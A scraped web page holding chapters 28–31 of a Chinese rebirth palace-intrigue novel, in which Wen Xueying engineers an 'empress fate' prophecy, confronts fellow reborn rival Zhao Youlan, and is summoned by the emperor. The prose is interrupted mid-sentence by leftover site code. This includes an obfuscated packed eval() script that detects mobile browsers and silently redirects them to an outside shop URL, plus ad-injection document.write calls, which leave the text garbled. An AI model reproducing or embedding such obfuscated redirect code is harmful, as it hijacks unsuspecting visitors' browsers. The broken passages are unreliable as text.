冯诚随意一瞥之下,能够记住生辰是壬寅年乙卯月乙酉日甲午时的秀女,完全因为她是闻相的女儿。 冯诚当时还纳闷了,闻相在前朝时的官职也不低,当今陛下称帝后更是封他为相,他家的女儿也未传出过不好的名声,怎的还未嫁人? 于是便这么记下了。 眼下听许望筌这么一说,他就想起来了。 “是哪家千金?”靖渊见他不像说谎,心里也真是生了几分好奇,想看看这有着皇后命格的女子究竟是谁。 冯诚如实道:“似乎是闻相的千金。” 这几个字一出口,靖桓宇有些绝望地闭上了眼。 怎么会这样?是季洪背叛他,还是另有隐情? 他睁开眼,先是看向对面城楼上的闻雪英,主城楼与两边的副城楼隔着些距离,加之天际还有烟花声不断,主城楼这里说了什么,两边的官员家眷其实根本听不见。 不过闻雪英一直观察着主楼那边所有人的动向,闻仲年一直神情自若,只在季洪晕倒后露出了几分惶恐。 而靖桓宇则是脸色铁青,气急败坏的样子。 闻雪英心中有了几分把握,见靖桓宇看过来,仍是冲他扬起了暗含期待的笑脸。 靖桓宇抿了抿唇,不,不可能是闻雪英,她不会背叛自己。 他又看向闻仲年,见闻仲年满脸惶恐震惊之色,冯诚的话一出口,所有人的目光都聚在了他身上。 臣子们的眼光里多少羡慕,靖渊的目光却是含着审视之意。 “闻相,是你的女儿?” 闻仲年几次张开嘴,末了又闭上,他急得脸色涨红,倏然跪了下去,忐忑道:“陛下,这……这,臣万分惶恐,小女绝非是可入主中宫的那块料啊,兴许这季使所言,另有他人呢。” 这便是承认了,闻相的女儿的确和季洪奏疏上所写的女子有着同样的生辰八字了。 靖渊默了半晌,突然便朝着对面官员家眷所在的地方看了过来。 其他臣子的目光也随之移动。 闻雪英站在人群里,只觉得头皮发麻。 她今日打扮并不出挑,她希望靖渊没有看到自己,而她也佯装没有看到对面无数道探究的视线,只和身旁的其他女子一样,抬头仰望着夜空里绽放的烟花。 29. 第 29 章 靖渊看了一会儿就收回了目光,对面女眷众多,此刻又是晚上,虽有灯火烛光照映,但光线到底不比白天,他一时也难以分辨哪个是季洪口中那个拥有皇后命格的女子。 他对闻相的女儿是有几分印象的,上次贵妃遇刺,正是闻相千金的侍女出手制服了刺客,听贵妃说,那女子名叫闻雪英,她见了七窍流血的刺客尸体也不慌不乱,还解下了自己的披风罩住刺客尸体,以防吓到更多人。 贵妃后来还说,原来闻雪英的娘是闻相的第一任妻子,二人和离多年,却仍有往来,闻雪英作为他们共同的女儿常年往返京都与宁州两地,是见过世面的人。 这便是靖渊对这闻雪英的全部印象,他现在仔细一想,那日在贵妃宫里他应当是见过她的,但当时他并未对这小小的官员女儿多有留意,是以今日连她的模样他也不记得。 不过说起她的生母李檀,靖渊却是打过交道。 前些年他率领的大军在攻克距离宁州六十里的盘州时,曾遭遇粮草不足的危机,后来便是宁州当地一富商用自己的家产购买了一些粮食,送到了军中。 这批粮食,对靖渊来说是雪中送碳,靖渊格外感激这富商,攻下盘州后,他便派心腹前往宁州,想要当面谢过这富商。 但当时那富商却是避而不见,然而那时的靖渊想要查到一个人的底细也是轻而易举。 李檀的身份在他这早就不是秘密了,不过既然对方无意暴露身份,靖渊也就当做不知。 没想到,今日她的女儿被季洪测出了有皇后命格,这可真是……巧合的很。 究竟是她真的拥有皇后命格,还是季洪被人收买,靖渊一时难以肯定。 他无声看着跪在眼前的闻仲年,试图从他脸上看出点什么,但闻仲年历经两朝,为人虽和善,却不代表他没有城府。 许望筌方才当众念出的那封来自季洪的奏疏,其实并非来自季洪,奏疏上原本写了什么,闻仲年不得而知,不过,季洪最终呈到洪庆帝面前的的那封,是钦天监副使张唯寻机替换过的。 张唯如此行事,自然是受了他的指示,不过这一切,他不会放在脸上,张唯也不会。 靖渊没从闻仲年的神情里看出什么,也就收回了目光,开口让他起身。 他直觉今日这事不简单。 不过眼下季洪晕死过去,想问什么也得等他醒来,微微沉吟半晌,靖渊吩咐人将季洪抬下去医治,只打算着等他清醒后再召他问话。 许望筌念奏疏的声音不算小,许多在后面的官员也都听到了这事,口口相传,很快便传得人尽皆知。 闻雪英所在的女眷这一侧,也听说了这消息。 众人或惊或疑,或羡慕或不屑的目光雪花似地朝她飞了过来,而闻雪英只装作一副惶恐不安的样子,一手扶着胸口,穿过拥挤的人群下了城楼。 各家女眷的马车都停在午门外头,闻雪英上了自家马车,车夫吆喝了一声,马车刚动了两下又骤然停下,车内的闻雪英险些跌倒。 鞠衣和琥珀扶着她坐稳,琥珀冷了脸,朝外呵斥车夫:“笨手笨脚的,连驾车也不会了吗?” 话落车夫的声音传了进来,“小姐,前头有架马车突然停了下来,奴才不是故意的……” 闻雪英稍稍定神,说:“没事。”,接着示意鞠衣出去看看。 须臾,鞠衣折返回来,道:“。” 京中姓杨的,又能在今夜出入午门的,只有一家。闻雪英略一思索,便猜到是鸿胪寺卿杨严家的。 杨家与闻家府邸位于全然相反的两个方向,两家平日素无往来,但如今杨家家眷的马车出了问题,两家的马车又碰到一处,闻雪英也不好当做没看见。 况且,若是她没记错的话,杨严还是赵又岚的祖父,闻雪英想了想便道:“鞠衣,你去问一问,杨家女眷是否愿意乘坐咱们的马车回去?” 鞠衣应了声是,脚步声渐渐远去,须臾,她又走近,隔着马车道:“小姐,赵小姐过来了。” 话音刚落,车帘随之被掀开,接着鞠衣手里的灯笼,闻雪英看清了外头人的样子,是赵又岚。 短暂的怔愣过后,闻雪英唇角含笑,温婉道:“原来车内坐的是赵小姐。” 车外的赵又岚缓缓道:“闻小姐,我的马车轮毂不知怎地突然断裂了,不知可否劳烦闻小姐送我一程。” 闻雪英自然不会拒绝,正好她也想寻机探一探赵又岚,看看她到底是不是重生。 闻言便客气道:“自然,举手之劳的事,深夜寒冷,鞠衣,快扶赵小姐上来。” 突然多了赵又岚主仆二人,原本宽敞的马车突然变得有些逼仄。 鞠衣和琥珀并不知道自己是重生的事,闻雪英也拿不准赵又岚的侍女是否知晓自己主子的所有事情,是以没有贸然开口,只闲聊了几句,之后车内便静默下来。 深夜里,车轮碾压在青石板铺就的大街上,发出寂寥而单调的响声。 就着车内几乎伸手不见五指的光线,闻雪英注视着赵又岚,沉思着若她也是重生,对于自己来说,不知是敌还是友? 而赵又岚也在打量着闻雪英,她其实看不见闻雪英的神情,可对于一个刚刚被钦天监当众断言拥有皇后命格的女子来说,闻雪英的反应过于平静了。 她没有表现出欣喜,也没有表现出不安,这很不正常。 赵又岚感觉自己的心头似乎压着一块石头,怎么也喘不过气来。 最近发生的事情,都很不正常,比如,陛下没有下旨将闻雪英赐婚给靖桓宇。 她不明白为什么,所以才会设法弄坏杨府的马车,借机上了闻雪英的马车。 如今看着闻雪英坦然镇定的模样,一时之间,她心头不由闪过一个念头…… “小姐,杨府到了。” 正在这时,车夫的声音传了进来,闻雪英斟酌着该怎么开口,赵又岚先出了声:“碧蛾,你先下去。” 赵又岚吩咐自己的侍女下去,又对闻雪英道:“闻小姐,我有几句话想同你说,不知可否让你的侍女回避?” 鞠衣和琥珀下意识看向闻雪英,闻雪英道:“我也有话想跟赵小姐说,你们到外头守着,别让人靠近。” 鞠衣和琥珀应声出了马车,顺便将车夫和一脸茫然的碧蛾带到了一旁。 车内,闻雪英与赵又岚静静坐着,一时都没有开口,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426352|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都不知道该怎么将心中的疑惑诉诸于口。 但这么一直坐着也是不妥,暗暗调整了下呼吸后,闻雪英选择开门见山,“赵姑娘,你……” 她的话还没说完,赵又岚出声打断了她:“闻雪英,闻大人应该早就向陛下请求为你和二皇子赐婚了。” “……” 闻雪英微微一怔愣,接着轻声笑了笑,叹息道:“若说应该,那也是赵小姐你,你才应该是嫁给靖桓宇的那个人,毕竟,他的皇后之位是为你而留的。” 车内再度沉默下来,半晌后,闻雪英也听到了赵又岚的轻笑声。 话说到这个份上,两人不约而同地舒了一口气。 既然都已确定对方同自己是一样的,接下来的话就不必再拐弯抹角了。 赵又岚叹道:“我到现在仍觉得自己像是在做梦。” 闻雪英道:“是呀,这么久了,我也时常觉得不真实,不敢相信自己所经历的一切。” “然而,我们的确重生了。” 又是一阵沉默过后,赵又岚道:“前世,对不起。” “你没有做过对不起我的事,对不起我的人,是靖桓宇。” 这句话说出时,赵又岚听到了她语气间滔天的恨意,她若有所思,道:“所以,这一世,你不再选择嫁给靖桓宇?” “他害了我全家,我自然不会再嫁给他。”黑暗中,闻雪英脸上的笑意收敛,赵又岚虽看不见,却也知道她眼底此刻必定是淬满了恨意。 不待她继续说话,闻雪英又道:“但你,还是要嫁给靖桓宇的吧。” 闻雪英的声音彻底冷了下来,这一瞬间,她心底深处已经将赵又岚视为了敌人。 她甚至已经开始思考如何才能让赵又岚不要挡她的路,因此,当赵又岚再次开口时,闻雪英半晌没有反应过来。 “靖桓宇就是个畜生,我也不会再嫁给他。” 闻雪英:“?” 能让赵又岚说出这种话,想必前世的靖桓宇还做了其他伤天害理的事情。 良久的沉默后,闻雪英轻声问道:“前世我死后,发生了什么事?” 发生了什么?赵又岚如今回想起前世,仍觉得心有余悸。 靖桓宇坐稳皇位后,但凡朝中有人与他意见不和,他就会对其进行打压,即便是如她父亲赵越那般忠心耿耿的人,最后也不过落得一个身首异处的下场。 她是成了靖桓宇的皇后,可那皇后尊容,在闻雪英死后,也不复存在了。 赵又岚不想去回忆前世被靖桓宇囚禁折磨的经历,听闻雪英这样闻,她只低声道:“以你对他的了解,你觉得他会是一个好皇帝,一个好丈夫吗?” 闻雪英摇了摇头。 赵又岚继续道:“前世,我是被蒙在鼓里,没有选择的余地,可如今不同,老天既然给了我机会,我自然要抓住。” “我不会嫁给靖桓宇。”赵又岚斩钉截铁地说着,突然伸手紧紧抓住闻雪英的手,一字一句地道:“我希望你不要挡我的路。” 闻雪英被她突如其来的动作吓了一跳,她缓了缓神,慢条斯理地道:“赵小姐,真是巧了,这也是我想对你说的话。” 30. 第 30 章 赵又岚心念微微一转,便猜到了今日钦天监监正季洪当着百官与万民的面唱的这一出多半出自闻雪英之手,一瞬间,她由衷地佩服起了闻雪英,顿了顿道:“你将自己推到风口浪尖,不怕被风暴反噬吗?” 闻雪英笑容冷清,只心平气和地说道:“不入虎穴,焉得虎子。” 她没有别的路可走。 赵又岚沉默片刻,淡淡道:“你有你的路要走,我也选择了我的路,我不会干涉你,也希望你不要干涉我。” 闻雪英道:“只要你的路不是靖桓宇,我自然不会干涉你。” 赵又岚点点头,“那就好。时候不早了,多谢闻姑娘送我回家,日后有机会,赵又岚必定亲自登门致谢。” “举手之劳的事情,赵姑娘不必客气。” 两人之间暂时默契地达成了一致,赵又岚下车进入杨家,闻雪英也就吩咐车夫驾车返回闻府。 * 城楼上,靖桓宇耳中听着靖渊打算等季洪清醒后再问话,他思绪转了几转,回身给常立一个眼神,常立反应过来,稍稍迟疑后点了点头,趁人不备下了城楼。 靖桓宇继续陪伴在靖渊身侧,心思却已经飞远。 今夜季洪没有按照自己的吩咐行事,无论季洪是单纯背叛于他,还是被人收买,此刻再去追究都没什么意义。 季洪说,闻雪英有皇后命格,这话是真是假暂时不得而知,但即便是季洪信口乱说,这个节骨眼上,也无人敢去求娶闻雪英,包括他自己。 不过他也没打算就此放手。 靖桓宇沉思片刻,几番斟酌之后暗暗下定决心。 他原本打算等确定了和闻雪英的婚事后,再去执行他的计划,如今看来这计划是不得不提前了。 * 元宵之夜发生的事,几乎天没亮就传遍了京都的大街小巷,人人都在顶着宫里,盯着闻府,想要知道陛下会做什么,想要知道闻府又会如何应对。 还有那个据说拥有皇后命格的闻雪英,一下子也成了京都人尽皆知的存在。 闻府大门外,甚至聚集起了一些游手好闲的人,他们都想一睹闻雪英的容颜。 这所有的变故,闻雪英自然是一清二楚,不过她并不在意,每日仍按部就班地过着自己的日子,偶尔翻一翻《女训》、《女则》等书,以应对即将到来的选秀。 正月十七,内廷司与户部遵照圣旨,开始选秀。 选秀第一日,三百余名秀女乘着各自的马车入了宫,二十人一组,由内廷司的人进行初步筛选。 因为这次选秀的人数并不多,很快就轮到了闻雪英所在的这一组被内廷司选看。 前来选看的太监看着四十来岁的样子,他不苟言笑,手执拂尘,目光依次在秀女们身上掠过。 旁边还有一个小太监,捧着名录唱着秀女的家世姓名年龄等。 待念到闻雪英时,她看见刚走到自己面前的太监神色陡然一变,原本微微上翘眯起的双眼骤然间瞪大。 整个殿内也突然诡异地安静了下来,闻雪英余光瞥见站在她左右两侧的秀女们目光也在她身上流连,神色间尽是好奇。 元宵那夜午门城楼上发生的事,宫内如今也传了个遍,闻雪英的名号,宫内现在也是人尽皆知。 旁边吟唱秀女名姓的小太监念到闻雪英的名字时也是一愣,短暂地停顿后,他又接着往下念,然而选看的太监却似乎忘记了其余的秀女,直接大手一挥,她们这一组秀女就算是全部通过了初选。 初选通过,按规矩她们需回到各自家中,等待第二轮的选看,闻雪英无视她人探究的目光,也打算出宫。 只是人刚一动,外头便来了一名脸生的宫女,她自称是贵妃宫里的人,传召闻雪英现在去见贵妃。 闻雪英微微一愣,起身跟着这宫女出了秀女所在的宫殿。 今日她是入宫参选,不能带仆从侍女,鞠衣和琥珀都在宫门外等候,寂静的宫道上,陌生的宫女一言不发,脚步平稳地引着路。 闻雪英咬了咬唇,脚下步伐加快了些,上前含笑道:“这位姑姑,不知贵妃娘娘传召臣女,是有何事?” 那宫女脚步没有丝毫停顿,也没有回头,只淡声道:“等下见到了主子,闻姑娘便会知道了。” 闻雪英唇角的笑容一僵,心头突地一跳。 这回选秀,最后一轮殿选时贵妃会和陛下一同出现,但现在距离殿选还早得很,贵妃不该在此时见她。 闻雪英猜测,贵妃多半也是听说了昨夜午门城楼上发生的事。 上次见到贵妃,贵妃说话声音温柔似水,言语中对她颇多赞美,态度十分和善,全然不像一个在宫中身居高位的贵妃,反倒是像一个知心的姐姐。 只是如今发生了这件事,不知今日的贵妃对她又是一种什么样的态度。 闻雪英暗暗沉思着,起身跟着前来传话的姑姑往后宫走去。 初时间都没发觉什么不对,可随着脚下踩过的地砖越来越多,闻雪英心中不由浮起一丝狐疑。 这宫女的确带她进了后宫地界,只是走的却不是贵妃所居的南风殿的方向。 “这位姑姑,贵妃娘娘如今不住在南风殿了吗?” 前头带路的宫女边走边回头,笑眯眯道:“闻姑娘只管跟着奴婢走就是了。” 所谓伸手不打笑脸人,这宫女态度很是恭谨,这里又是深宫内院,戒备森严,闻雪英也不怕有人要害了她。 又跟着这宫女走了约一盏茶的功夫,眼前出现了一处略微有些陈旧的小小宫室。 相比于宫内其他金碧辉煌的殿宇,此处的院落显得过于普通简陋,与整座皇城有些格格不入。 闻雪英人走到这里,对于今日要见她的人心里已经有了数。 这偌大的皇宫内,也就只有洪庆帝身边会跟着这些神情肃然的御前侍卫。 “闻姑娘,请吧。” 一瞬间,闻雪英的心跳加快了些,她微微颔首,一步一步踏入了眼前的大门。 进了大门,绕过影壁,正殿门口两侧也站着几个面色冷峻的侍卫,从他们中间穿过时,闻雪英不由感到背脊发冷。 她轻轻吁出一口气,迈过殿门,左右看了看,发现东面暖阁的塌上,露出半截明黄色的衣角。 暖阁内似乎只有洪庆帝一人,闻雪英没有看到有伺候的宫女太监,无人通传,她站在暖阁门口一时踌躇不前,不知道该不该进去。 犹豫片刻,闻雪英在暖阁门口跪了下去,口中高呼:“臣女闻雪英参见陛下,陛下万福金安。” “进来。”洪庆帝平静的声线响起,闻雪英只好起身,莲步轻移跨过门槛。 暖阁内有淡淡的龙涎香味弥漫,闻雪英垂眸走近,待到了距离洪庆帝三步远的位置时,她再次敛衣下跪,“臣女见过陛下,陛下万安。” “嗯。”眼前盘腿端坐,目光始终落在案上奏疏里的洪庆帝缓缓地道:“起来吧。” 闻雪英谢恩起身,抬头悄悄瞥他一眼,活了两世,她其实很少有机会离洪庆帝如此之近。 年近四十的洪庆帝看着还很年轻,他盘腿坐在那里,身姿挺拔如松,神态从容地翻阅手中奏疏,自有一派成熟稳重的气息扑面而来。 暖阁内有些安静,只偶尔响起洪庆帝翻阅奏疏的声音。无端的沉默往往会让人不安,洪庆帝让她起身后,也不说话,只自顾自地看着奏疏,闻雪英的心怦怦地跳了起来。 也不知道这样令人窒息的气氛持续了多久,闻雪英觉得自己双腿都站得有些发软了,洪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 庆帝终于再度出声:“知道朕为什么叫你过来吗?” 闻雪英摇头,“臣女不知。” 洪庆帝道:“一个时辰前,朕得到消息,季洪死了。” 洪庆帝说的风轻云淡,以至于闻雪英一下子没有反应过来,她怔怔道:“季洪?” “对,钦天监监正季洪,说你有皇后命格的那个人。” 一瞬间的茫然过后,闻雪英不由倒吸一口凉气,她一时不知该说什么,衣袖里紧握的拳头泄露她内心的慌乱。 季洪病了,不能说话,只能把要说给洪庆帝的话写在奏疏里,这是父亲的手段。 元宵的前一日,钦天监副使张唯奉父亲的命,曾将季洪约到京都的酒馆喝酒,席间张唯在季洪的酒里加了些东西,那东西不会要人性命,只会让人短暂地呈现出风寒失语之症,三日之后,药效尽除,人也会恢复如常。 按理,今日季洪该是痊愈了。 可洪庆帝现在却说,季洪死了。 闻雪英心中有一丝说不出的感觉,季洪的死,怕是与靖桓宇脱不了干系。于靖桓宇而言,季洪就是一个背叛者,靖桓宇对待那些与他无冤无仇甚至尽心竭力辅佐他的臣子尚且狠辣无情,对待一个背叛者自然也会毫不留情。 可细想下来,季洪的死,又何尝不是因为她? 闻雪英心中一时五味杂陈,愧疚与自责交织在心头,她微微张开嘴,只觉得胸口憋闷得很。 她的神情变化,靖渊自然看在眼里,他放下手中奏疏,面向闻雪英坐直身子,看着她道:“元宵那晚的事,你怎么看?” 提到元宵那晚,再复杂的情绪也霎时消散,闻雪英抬眸看向眼前仪质瑰伟,朗目疏眉的洪庆帝。 他的目光深邃,说话的语气不紧不慢,仿佛闲话家常一般,可他是皇帝,自己是臣子之女,两人说起的话题又是关于她命带皇后命格这事,闻雪英实在做不到坦然与他对视。 她匆匆收回目光,垂眸嗫喏着出声:“臣女……不知。” 面对靖渊,她本能地感到紧张,鼻尖沁出了细密的汗珠,声音也发着颤。 靖渊继续道:“季洪当着那么多人的面说你有皇后命格,朕觉得他是放屁。” 闻雪英心头一凛,不安的情绪越来越强烈。 难道她和父亲所做的事,洪庆帝已然知晓了? 闻雪英不敢贸然搭话,继续沉默着。 靖渊下了地,走到她身边,盯着她乌黑的发顶看了一会儿,唇角几不可察地轻轻一弯。 他本来还不确定这女子是不是真有皇后命格,但季洪突然暴病而亡,靖渊便知道这事背后必定有着不为人知的内幕。 他已经派出自己的暗卫去查了,虽一时半会儿的还没有结果,但他心中已有几分猜测。 谁能从这件事情当中获得最大的利益,答案是显而易见的。 只是靖渊不明白,闻仲年看着不像是一个会恋于权势的人,闻家为何要突然搞这一出? 还是闻雪英自己生出了什么野心? 如今他还没有立太子,出了这样的事,无疑于绝了其他人娶她为妻的可能,闻仲年父女两不可能不知道这一点,这也就意味着,他们父女的目标是他本人。 靖渊思绪转了片刻,突然就对眼前的女子生了几分兴趣,他决定给她最后一次机会。 “如今季洪暴病而亡,可他说出的话却是收不回去,朕本无意再纳新人,如今出了这样的事,朕也不忍心看着你一个小小女子因他的话所困,朕给你两条路,第一,离开京都,隐姓埋名去别处生活;第二,入宫做朕的女人。” 靖渊负手绕着闻雪英缓缓走了两圈,一席话说完又到了她面前,他伸手,勾起闻雪英的下巴,一字一句地道:“你选哪条路?” 31. 第 31 章 “你选哪条路?” 帝王的声音平静,却不失威严。 闻雪英被迫抬头与他对视,手心因为紧张而汗湿黏腻。 她微微启唇,喉咙却突然失了声。虽看不见自己的脸,但她想她此刻的脸色一定是惨白的。 她想,洪庆帝多半已经有所察觉了。 也是她太过大意,竟然妄想能够欺瞒这个从一介草民而成为天下之主的男人。 洪庆帝的手还捏着她的下巴,这一刻,闻雪英只觉得被人看穿的恐惧犹如无边无际的黑夜,将她深深笼罩。 见她久久不语,洪庆帝似笑非笑地再次问道:“怎么,你需要时间考虑?” 无论洪庆帝是不是知道了什么,他既然没有明说,还直接给她选择,那她便装作不知道,戏,还是得演下去。 闻雪英掐了掐自己的手心,疼痛传入大脑,她不禁眼眶酸涩,颤声道:“臣女不想离开家人,请陛下开恩,准许臣女入宫伺候陛下。” 她如此回话,洪庆帝觉得自己的猜测已八九不离十,看来闻仲年果然想送女儿入宫,而他的女儿,也心甘情愿地要入宫。 洪庆帝松开手,视线在她泛起红印的下巴处一顿,接着转身坐回了塌上,须臾他道:“朕曾经有过两个妻子,敬德皇后与仁献皇后。敬德皇后于朕有恩,在朕穷苦之时下嫁于朕,为朕生儿育女。而仁献皇后更是能够上阵杀敌,与朕并肩作战,帮朕打下这万里江山……只是可惜,敬德皇后与仁献皇后皆是福薄之人,没能亲眼看到朕一统天下。” 洪庆帝的语气中有淡淡的怀念,两位皇后的功绩闻雪英自然是一清二楚,她耳中听着洪庆帝的话,脑子里高速运转思考,待他停顿后,她忙跪下,以额头触地,缓缓道:“陛下明鉴,臣女自知品行比不上敬德与仁献二位皇后娘娘,更于江山社稷无半点功绩,臣女不敢肖想皇后之位,只求陛下能给臣女一个最末的贵人之位,如此,便是陛下对臣女天大的恩德了。” “……” 洪庆帝看着跪在眼前的女子稍稍一愣,其实他想说的并不是这个。 不过这女子既然如此有自知之明,倒是省去了他许多麻烦。 “回家等着吧。”一阵沉默后,闻雪英听到洪庆帝这样说。 听他的口吻,似乎已经决定要让她入宫,可闻雪英不知道他要她等多久。 等待的过程中,万一出了什么变故,她和父亲所做的所有努力,都有可能功亏一篑。 既然洪庆帝已然有了松口的迹象,闻雪英便打算趁热打铁。 短暂的思考过后,闻雪英闭上了眼,豁出去一般地开口:“不知陛下要让臣女等多久?季大人那句话一出,臣女如今已经处在风口浪尖中了,风浪汹涌,臣女怕哪日一个不小心,就要葬身海底了。” 这是在催他?靖渊微微眯了眼,不由又将她打量了一遍,心底生出疑惑,她何以如此着急地想要入宫? 诚然如今所有人的目光都聚在她身上,但京师重地,谁吃了熊心豹子胆敢去暗害一个被钦天监断言身负皇后命格的人。 “你先回家吧,朕随后就拟旨。”既然打算让她入宫,早几日晚几日也没什么区别了。 殿内响起了纸张摩擦的声音,闻雪英微微抬头,余光瞥见洪庆帝再度捧起了奏折。 她不由暗暗舒了一口气,勉力让自己的声音听平稳一些:“臣女告退。” 接着起身,慢慢退了出去。 一跨出门槛,离了殿内炭火熏蒸,室外的寒冷气息从四面八方涌来。 方才在里头与洪庆帝说话这会儿功夫,她出了一身的冷汗,此刻冷风一吹,闻雪英忍不住打了个冷颤,双腿一软,差点跌倒,好在有人及时稳稳地扶住了她。 闻雪英一边张开嘴呼吸着,一边侧头看去,扶她的人正是将她领到此处的宫女。 闻雪英咽了口唾沫,说一声“多谢”,在那宫女的搀扶下走了两步才含笑问道:“还不知道这位姑姑名姓。” “奴婢是养居殿掌事宫女,江一宁。” “原来是江姑姑。”闻雪英微笑着道,心想她果然不是贵妃宫里的人。 洪庆帝该是对这位江姑姑颇为信任,否则私下召见她这事,也不会是江姑姑来负责。 这样想着,闻雪英忍不住又偏头打量了江姑姑几眼,她看起来也就三十岁左右的样子,容貌算不得倾国倾城,但也称得上清秀佳人,看她身上衣料也较寻常宫女更名贵……闻雪英忍不住想,江姑姑真的只是养居殿的掌事宫女吗? 洪庆帝后宫只有一个贵妃,再无其他嫔妃,而根据她两世对于贵妃各种细枝末节的记忆,贵妃与洪庆帝之间的关系并不亲厚。 难不成,洪庆帝心中除了故去的两位皇后外,还另有她人? 闻雪英抿了抿唇,对着江姑姑微微颔首,客气道:“今日多谢江姑姑为我引路,以后还请江姑姑多多指教。” 江姑姑眼底闪过一抹疑惑,不解她为何如此客气,出于一个奴婢的本分,她立即颔首回应:“闻姑娘折煞奴婢了,您马上就要成为宫里的贵人了,奴婢以后还要仰仗着您呢。” 两人你来我往,互相谦让客气,没一会儿已经出了这座宫室的大门,门外停了一顶小轿。 江姑姑扶着闻雪英走到轿前,道:“时候不早了,闻姑娘请上轿,奴婢送您出宫门。” 闻雪英微怔之后便坦然上了轿,轿帘放下,她忍不住舒了一口气,紧绷的身体随意靠向轿壁,全身的骨头都松懈下来。 洪庆帝亲口应允让她入宫,事情总算是有一点进步了。 * 闻雪英走后,洪庆帝将剩下的几封折子迅速看完,便出门朝着南风殿而去。 这是自南风殿出现刺客后,洪庆帝第一次踏足南风殿,孙贵妃猜测他定是有事要说,正好她也有件事想要问问他的意思。 将人迎进去后,孙贵妃吩咐侍女上了茶,便率先笑着开口:“我也正好有事打算去养居殿见陛下,没想到陛下倒是先来了。” 洪庆帝喝了一口茶水,接话道:“什么事,你先说。” 孙贵妃抿了抿唇,犹豫着道:“方才内廷司的冯诚来见我,请示对于秀女闻雪英,要做何安排。” 洪庆帝之前说过,此次选秀主要是为了两位皇子选妃,这事孙贵妃前两日也跟冯诚提过一嘴,命他们进行首轮挑选时,也尽量按照两位皇子的喜好去挑选。 但是经过元宵一事,这闻雪英便成了一个特殊的存在。 冯诚不敢自作主张,忙前来请示孙贵妃。 这么大的事,孙贵妃自然也想着探一探靖渊的想法。 靖渊放下茶杯,含笑道:“朕今日来也正是要与你说这件事。” 孙贵妃“哦”了一声,等着靖渊开口。 “紫鸳,朕打算召闻雪英入宫,册封为贵人。” 乍听他如此说,孙贵妃有一瞬的愣神,不过她很快回过神来。她心里本就对靖渊无男女之情,自然也不在乎他纳不纳新人,只是他纳闻雪英入宫,她心底还是涌过一瞬间的失望,下意识开口:“原来如此,我很是喜欢那闻雪英,本还想着桓洲能娶她为妻,桓洲性子内敛柔软,很是需要一个遇事沉着的贤内助。” 靖渊默了片刻,道:“元宵那晚的事,你应该听说了,朕现在还不打算立太子。” 孙贵妃一怔,忙解释道:“陛下,我没有别的意思,只是姐姐已不在人世,我作为桓洲的亲姨母,少不了要为他的婚事费心些。” 靖渊也明白紫鸳话中没有其他意思,他沉吟片刻,道:“桓洲那边,朕一定会为他挑选一个合适的妻子,你无需担心。” 孙贵妃笑着颔首,顿了顿又斟酌着道:“只是,陛下只打算给那闻雪英贵人的位分? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 她父亲好歹还是当朝丞相,百官之首,丞相的女儿入宫,就算不按钦天监所言给她中宫之位,怎么也得个妃位或是贵妃位才行。 孙贵妃微微皱眉,觉得这贵人的位分实在是太低了些。 靖渊捧起茶盏将剩下的茶水一饮而尽,末了叹息一声道:“就先给她贵人之位吧,朕想看看闻仲年想做什么” 话落靖渊便起身离开,孙贵妃将他送至门口,暗暗回味着靖渊的话,听他的意思,莫非元宵那夜的事有什么阴谋? 孙贵妃正想着,侍女来报:“娘娘,林大人求见,说有几件事想问问娘娘。” 侍女口中的林大人是刑部主事林衍,前几日奉洪庆帝之命,入宫查南风殿刺客一事。 孙贵妃深吸一口气,刺客一事也一直压在她的心头,闻言也就暂时将靖渊的话抛在脑后,吩咐侍女:“让他先到正殿等候。” 又低头看一眼自己身上这件藏蓝色常服,道:“我这身衣裳不宜见朝臣,你随我去换一件吧。” 侍女应了一声,目光不由落在孙贵妃身上,她穿着一件湖绿色的宫装,头发也整整齐齐地绾成一个精致的凌云髻,见谁都很得体。 侍女只随意想了想,便服侍着孙贵妃更换衣裳,重新梳妆。 * 回到家中,闻雪英便将洪庆帝私下召见她的事说给闻仲年听,末了闻雪英担忧道:“爹,我怀疑陛下可能已经猜到了什么。” 闻仲年心里也有些忐忑,但他不想让女儿更担心,便笑着安慰她:“怀疑归怀疑,只要陛下没有找到把柄就没事。” 闻雪英咬了咬唇,沉默片刻道:“不知那张唯是否可靠?” “季洪如今死了,钦天监监正的位子便空了出来,不出意外,吏部就会任命张唯为钦天监正使,这个节骨眼上,张唯除非是不想要自己的前程,否则他的嘴该是比死人的还要严实。只是那季洪……” 闻仲年不担心张唯,倒是对季洪突然的暴病而亡多了几分怀疑,“为父想不明白,季洪怎么就突然死了。” 季洪的死,的确是个意外,闻雪英拿着火钳翻动燃得正旺的火盆,闻言沉默片刻,接着咬牙道:“我想,季洪的死,多半与靖桓宇脱不了干系。” 她脸上是冷冽的恨意,闻仲年看着她道:“你是说,季洪没有按着二皇子的意思行事,二皇子恼羞成怒,暗下杀手?” 不然还会是如何呢? 闻雪英“嗯”了一声,心头划过对季洪的愧意,她黯然低头,久久不语。 闻仲年察觉她的心思,上前摸了摸她的发顶,慈爱道:“孩子,季洪有今日下场,只能说是他咎由自取,我们不过是适时反击而已,你不必自责。” 闻雪英抬头看向闻仲年,嘴角挤出一个勉强的笑。 道理她自然都明白,也早就做好了未来可能会有人因自己而死的准备,可真正有人死了,她到底还是做不到无动于衷。 所以,她始终想不明白,上辈子的靖桓宇为何最终会成为一个杀人不眨眼的暴君。 闻仲年叹了口气,道:“权力是会放大人心底的恶意和欲望的,心智不坚定的人,有朝一日一旦掌控了至高无上的权力,那么曾经他所不喜的一切事物,都将迎来灭顶之灾。” 他安慰了女儿几句,见她始终闷闷不乐,便提议道:“不如去萃华楼陪你娘住几日?” 闻雪英摇了摇头,“我估摸着陛下的旨意这两日便要到了,我还是在家等着吧。” 